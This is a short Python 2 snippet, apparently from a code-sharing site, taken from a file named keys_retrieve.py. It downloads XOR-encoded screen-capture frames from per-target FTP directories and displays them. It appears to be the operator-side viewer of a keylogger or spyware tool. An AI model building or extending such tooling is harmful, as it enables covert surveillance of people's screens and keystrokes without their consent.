keys_retrieve.py 文件源码

def ViewScreenCaptureStream(self): #not developed it much, it requires more work to be done to be fully functional
        frames = []
        frameFileNames = [fN for fN in self.ftp.nlst("\\"+ self.directories[self.dirNum] +"\\vv") if fN != "s.mm"]
        if frameFileNames:
            for fileName in frameFileNames:
                retrievedData = []
                self.ftp.retrbinary('RETR ' + "\\"+ self.directories[self.dirNum] +"\\vv\\" + fileName, retrievedData.append)
                tempBuff = StringIO.StringIO()
                tempBuff.write(XorText("".join(retrievedData),self.xorMap))
                tempBuff.seek(0) #need to jump back to the beginning before handing it off to PIL
                printscreen_pil = Image.open(tempBuff)

                printscreen_pil = printscreen_pil.resize((printscreen_pil.size[0],printscreen_pil.size[1]), Image.ANTIALIAS)
                frame = np.array(printscreen_pil.getdata(),dtype=np.uint8).reshape((printscreen_pil.size[1],printscreen_pil.size[0],3))
                #frames.append(frame)

                cv2.namedWindow("window", cv2.WINDOW_NORMAL)
                cv2.imshow('window', frame)
                #cv2.resizeWindow('window', 200,200)
                if cv2.waitKey(0) & 0xFF == ord('q'):
                    cv2.destroyAllWindows()
                    break
        else:
            print "No frames available"
            return
        '''
        for frame in frames:
            cv2.namedWindow("window", cv2.WINDOW_NORMAL)
            cv2.imshow('window', frame)
            #cv2.resizeWindow('window', 200,200)
            if cv2.waitKey(0) & 0xFF == ord('q'):
                cv2.destroyAllWindows()
                break
        '''